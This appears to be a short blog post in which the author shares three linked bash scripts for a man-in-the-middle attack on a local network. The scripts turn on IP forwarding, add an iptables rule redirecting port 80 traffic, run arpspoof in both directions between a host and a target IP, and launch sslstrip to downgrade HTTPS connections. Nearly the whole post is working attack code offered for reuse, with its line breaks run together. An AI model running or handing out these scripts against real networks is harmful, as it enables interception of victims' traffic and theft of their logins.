Right, so, its not perfect. Its in multiple scripts for the moment whilst i try to figure out a way to get them all running from one script and not having to re-type in Port numbers and IP's!
So this is "SSLSTRIPSETUP" - This just sets up the IPTables entry and calls a modified ArpSpoof script:
#!/bin/bashecho "1" > /proc/sys/net/ipv4/ip_forwardecho -e "What Port Would You Like To Use For SSLStrip?"read PORTiptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port "$PORT"./ARPSPOOFSSL
This next script is the "ARPSPOOFSSL" - This is the same as my original - it just calls "SSLSTRIP" at the end:
#!/bin/bashecho '1' > /proc/sys/net/ipv4/ip_forward#Ask for 2 IPSecho -e "Please Enter The HOST IP"read HOSTIPecho -e "Please Enter The TARGET IP"read TARGETIPecho "You entered: \"$HOSTIP\" \"$TARGETIP\""echo -e "Are you using wlan0 or eth0?"read NICecho "Preparing........."echo -e "\t\t Target: $TARGETIP \n"echo -e "\t\t Host: $HOSTIP \n\n"echo -e "Starting ArpSpoof"gnome-terminal -x arpspoof -i "$NIC" -t "$TARGETIP" -r "$HOSTIP"gnome-terminal --tab -x arpspoof -i "$NIC" -t "$HOSTIP" "$TARGETIP"./SSLSTRIP
And then this is "SSLSTRIP" which does the actual "sslstrip" command.
#!/bin/bashecho -e "Enter Port Number:"read PORTNUMgnome-terminal -x sslstrip -l "$PORTNUM"
No comments:
Post a Comment